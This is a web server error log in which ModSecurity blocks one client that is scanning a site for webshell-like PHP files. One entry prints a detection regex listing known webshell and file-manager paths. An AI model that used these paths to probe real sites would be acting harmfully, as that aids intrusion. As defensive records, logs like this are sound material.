[Thu Nov 20 23:39:27.659275 2025] [:error] [pid 40508:tid 40521] [client 172.161.90.19:29870] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pent.php"] [unique_id "aR82L6xXNVCMW_ksxPsABwAAAos"]
[Thu Nov 20 23:39:29.121780 2025] [:error] [pid 40415:tid 40437] [client 172.161.90.19:30156] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsx.php"] [unique_id "aR82MahjIyLSv09svwPpBwAAAdM"]
[Thu Nov 20 23:39:31.182822 2025] [:error] [pid 40415:tid 40434] [client 172.161.90.19:29874] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsx.php"] [unique_id "aR82M6hjIyLSv09svwPpCAAAAdA"]
[Thu Nov 20 23:39:32.093511 2025] [:error] [pid 40445:tid 40484] [client 172.161.90.19:29877] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsx.php"] [unique_id "aR82NFH-MuFcoWRjXpa_FgAAAkk"]
[Thu Nov 20 23:39:32.847441 2025] [:error] [pid 40415:tid 40432] [client 172.161.90.19:29846] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsx.php"] [unique_id "aR82NKhjIyLSv09svwPpCwAAAc4"]
[Thu Nov 20 23:39:34.537456 2025] [:error] [pid 40636:tid 40646] [client 172.161.90.19:30196] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r79.php"] [unique_id "aR82NgK8BWUoW3xq0HA-HgAAA4Y"]
[Thu Nov 20 23:39:36.712108 2025] [:error] [pid 55342:tid 55385] [client 172.161.90.19:30184] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r79.php"] [unique_id "aR82OLg6x32Tvk7fIG8YkAAAAE0"]
[Thu Nov 20 23:39:38.552673 2025] [:error] [pid 40415:tid 40433] [client 172.161.90.19:30148] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r79.php"] [unique_id "aR82OqhjIyLSv09svwPpEAAAAc8"]
[Thu Nov 20 23:39:39.861288 2025] [:error] [pid 40415:tid 40435] [client 172.161.90.19:30197] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r79.php"] [unique_id "aR82O6hjIyLSv09svwPpEgAAAdE"]
[Thu Nov 20 23:39:41.080932 2025] [:error] [pid 55342:tid 55374] [client 172.161.90.19:29861] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mpxct.php"] [unique_id "aR82Pbg6x32Tvk7fIG8YmAAAAEI"]
[Thu Nov 20 23:39:42.563265 2025] [:error] [pid 55342:tid 55392] [client 172.161.90.19:30169] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mpxct.php"] [unique_id "aR82Prg6x32Tvk7fIG8YmwAAAFQ"]
[Thu Nov 20 23:39:43.523773 2025] [:error] [pid 34405:tid 34431] [client 172.161.90.19:30170] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mpxct.php"] [unique_id "aR82PzFpvu8oRK7ATftWzAAAARg"]
[Thu Nov 20 23:39:44.653678 2025] [:error] [pid 40636:tid 40651] [client 172.161.90.19:29883] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mpxct.php"] [unique_id "aR82QAK8BWUoW3xq0HA-IAAAA4s"]
[Thu Nov 20 23:39:45.672023 2025] [:error] [pid 55343:tid 55402] [client 172.161.90.19:29967] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3.php"] [unique_id "aR82QVWlO3EnyVMV7w7lDAAAAIM"]
[Thu Nov 20 23:39:46.615160 2025] [:error] [pid 40445:tid 40486] [client 172.161.90.19:30154] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3.php"] [unique_id "aR82QlH-MuFcoWRjXpa_TQAAAks"]
[Thu Nov 20 23:39:47.564502 2025] [:error] [pid 40508:tid 40532] [client 172.161.90.19:29833] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3.php"] [unique_id "aR82Q6xXNVCMW_ksxPsAIAAAApY"]
[Thu Nov 20 23:39:48.675127 2025] [:error] [pid 40445:tid 40487] [client 172.161.90.19:29887] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3.php"] [unique_id "aR82RFH-MuFcoWRjXpa_XgAAAkw"]
[Thu Nov 20 23:39:50.058278 2025] [:error] [pid 40415:tid 40430] [client 172.161.90.19:29865] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wan.php"] [unique_id "aR82RqhjIyLSv09svwPpHQAAAcw"]
[Thu Nov 20 23:39:50.935288 2025] [:error] [pid 40508:tid 40522] [client 172.161.90.19:29847] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wan.php"] [unique_id "aR82RqxXNVCMW_ksxPsAJAAAAow"]
[Thu Nov 20 23:39:52.199733 2025] [:error] [pid 40415:tid 40438] [client 172.161.90.19:29841] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wan.php"] [unique_id "aR82SKhjIyLSv09svwPpIQAAAdQ"]
[Thu Nov 20 23:39:52.968591 2025] [:error] [pid 40445:tid 40499] [client 172.161.90.19:29953] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wan.php"] [unique_id "aR82SFH-MuFcoWRjXpa_gQAAAlg"]
[Thu Nov 20 23:39:53.843876 2025] [:error] [pid 55340:tid 55351] [client 172.161.90.19:29983] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aR82SfOxD-NeMydTybDS4wAAAAY"]
[Thu Nov 20 23:39:54.851147 2025] [:error] [pid 40445:tid 40478] [client 172.161.90.19:30151] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aR82SlH-MuFcoWRjXpa_kgAAAkM"]
[Thu Nov 20 23:39:56.199984 2025] [:error] [pid 40415:tid 40427] [client 172.161.90.19:29873] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aR82TKhjIyLSv09svwPpIwAAAck"]
[Thu Nov 20 23:39:56.906038 2025] [:error] [pid 55343:tid 55411] [client 172.161.90.19:30145] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aR82TFWlO3EnyVMV7w7lFwAAAIw"]
[Thu Nov 20 23:39:58.275350 2025] [:error] [pid 55340:tid 55355] [client 172.161.90.19:29965] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "aR82TvOxD-NeMydTybDS5wAAAAo"]
[Thu Nov 20 23:39:59.532170 2025] [:error] [pid 40445:tid 40475] [client 172.161.90.19:30183] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "aR82T1H-MuFcoWRjXpa_swAAAkA"]
[Thu Nov 20 23:40:00.855982 2025] [:error] [pid 55342:tid 55381] [client 172.161.90.19:29882] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "aR82ULg6x32Tvk7fIG8YpgAAAEk"]
[Thu Nov 20 23:40:01.756927 2025] [:error] [pid 55342:tid 55376] [client 172.161.90.19:30205] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "aR82Ubg6x32Tvk7fIG8YpwAAAEQ"]
[Thu Nov 20 23:40:03.666957 2025] [:error] [pid 55430:tid 55444] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/asgtt.php
[Thu Nov 20 23:40:03.908542 2025] [:error] [pid 55430:tid 55438] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/image.php
[Thu Nov 20 23:40:04.310260 2025] [:error] [pid 55430:tid 55457] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/wok.php
[Thu Nov 20 23:40:04.550450 2025] [:error] [pid 55430:tid 55453] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/alexus.php
[Thu Nov 20 23:40:05.259185 2025] [:error] [pid 55430:tid 55453] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/sadis.php
[Thu Nov 20 23:40:05.622065 2025] [:error] [pid 55430:tid 55451] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/admir.php
[Thu Nov 20 23:40:05.864432 2025] [:error] [pid 55430:tid 55440] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/file52.php
[Thu Nov 20 23:40:06.104339 2025] [:error] [pid 55430:tid 55439] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/133.php
[Thu Nov 20 23:40:06.346899 2025] [:error] [pid 55430:tid 55442] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/x0.php
[Thu Nov 20 23:40:06.587971 2025] [:error] [pid 55430:tid 55445] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/wsr2.php
[Thu Nov 20 23:40:06.831414 2025] [:error] [pid 55430:tid 55435] [client 172.161.90.19:29828] File does not exist: /usr/local/apache/htdocs/suspended-page/wolv.php
[Thu Nov 20 23:40:07.547870 2025] [:error] [pid 55430:tid 55450] [client 172.161.90.19:29828] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php.php"] [unique_id "aR82V_PZXaIMEU4pE7s0fQAAANE"]
[Thu Nov 20 23:40:08.596991 2025] [:error] [pid 40508:tid 40522] [client 172.161.90.19:29859] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php.php"] [unique_id "aR82WKxXNVCMW_ksxPsALwAAAow"]
[Thu Nov 20 23:40:09.963589 2025] [:error] [pid 40415:tid 40437] [client 172.161.90.19:29832] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php.php"] [unique_id "aR82WahjIyLSv09svwPpNAAAAdM"]
[Thu Nov 20 23:40:11.309325 2025] [:error] [pid 40636:tid 40646] [client 172.161.90.19:30198] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php.php"] [unique_id "aR82WwK8BWUoW3xq0HA-KwAAA4Y"]
[Thu Nov 20 23:40:12.234718 2025] [:error] [pid 55343:tid 55414] [client 172.161.90.19:30144] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pn.php"] [unique_id "aR82XFWlO3EnyVMV7w7lIAAAAI8"]
[Thu Nov 20 23:40:13.079104 2025] [:error] [pid 34405:tid 34430] [client 172.161.90.19:30475] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pn.php"] [unique_id "aR82XTFpvu8oRK7ATftXGgAAARc"]
[Thu Nov 20 23:40:14.597122 2025] [:error] [pid 40445:tid 40497] [client 172.161.90.19:30179] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pn.php"] [unique_id "aR82XlH-MuFcoWRjXpa_0gAAAlY"]
[Thu Nov 20 23:40:15.481301 2025] [:error] [pid 40445:tid 40483] [client 172.161.90.19:30191] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pn.php"] [unique_id "aR82X1H-MuFcoWRjXpa_3AAAAkg"]
[Thu Nov 20 23:40:17.064519 2025] [:error] [pid 40415:tid 40425] [client 172.161.90.19:29860] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/siln.php"] [unique_id "aR82YahjIyLSv09svwPpRAAAAcc"]
[Thu Nov 20 23:40:19.062997 2025] [:error] [pid 40508:tid 40527] [client 172.161.90.19:30201] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/siln.php"] [unique_id "aR82Y6xXNVCMW_ksxPsARwAAApE"]
[Thu Nov 20 23:40:20.584823 2025] [:error] [pid 55343:tid 55411] [client 172.161.90.19:30199] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/siln.php"] [unique_id "aR82ZFWlO3EnyVMV7w7lLQAAAIw"]
[Thu Nov 20 23:40:22.581944 2025] [:error] [pid 40636:tid 40645] [client 172.161.90.19:30004] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/siln.php"] [unique_id "aR82ZgK8BWUoW3xq0HA-NQAAA4U"]
[Thu Nov 20 23:40:23.641607 2025] [:error] [pid 40636:tid 40651] [client 172.161.90.19:30181] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aR82ZwK8BWUoW3xq0HA-OgAAA4s"]
[Thu Nov 20 23:40:24.944026 2025] [:error] [pid 40636:tid 40642] [client 172.161.90.19:29980] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aR82aAK8BWUoW3xq0HA-PAAAA4I"]
[Thu Nov 20 23:40:25.894966 2025] [:error] [pid 40445:tid 40475] [client 172.161.90.19:29857] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aR82aVH-MuFcoWRjXpbABgAAAkA"]
[Thu Nov 20 23:40:27.218034 2025] [:error] [pid 40415:tid 40437] [client 172.161.90.19:30153] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aR82a6hjIyLSv09svwPpVwAAAdM"]
[Thu Nov 20 23:40:28.586603 2025] [:error] [pid 40537:tid 40552] [client 172.161.90.19:29986] [client 172.161.90.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aR82bKKlsL5kxTa3c1wSuAAAAss"]
[Thu Nov 20 23:40:30.291783 2025] [:error] [pid 55340:tid 55353] [client 172.161.90.19:30207] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aR82bvOxD-NeMydTybDTBgAAAAg"]
[Thu Nov 20 23:40:31.555424 2025] [:error] [pid 40537:tid 40553] [client 172.161.90.19:29996] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aR82b6KlsL5kxTa3c1wSuwAAAsw"]
[Thu Nov 20 23:40:32.987031 2025] [:error] [pid 40508:tid 40531] [client 172.161.90.19:29958] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aR82cKxXNVCMW_ksxPsAVwAAApU"]
[Thu Nov 20 23:40:34.383004 2025] [:error] [pid 40508:tid 40534] [client 172.161.90.19:30168] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0x.php"] [unique_id "aR82cqxXNVCMW_ksxPsAWQAAApg"]
[Thu Nov 20 23:40:35.632869 2025] [:error] [pid 40415:tid 40425] [client 172.161.90.19:30010] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aR82c6hjIyLSv09svwPpYgAAAcc"]
[Thu Nov 20 23:40:38.163260 2025] [:error] [pid 55340:tid 55362] [client 172.161.90.19:30200] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aR82dvOxD-NeMydTybDTCgAAABE"]
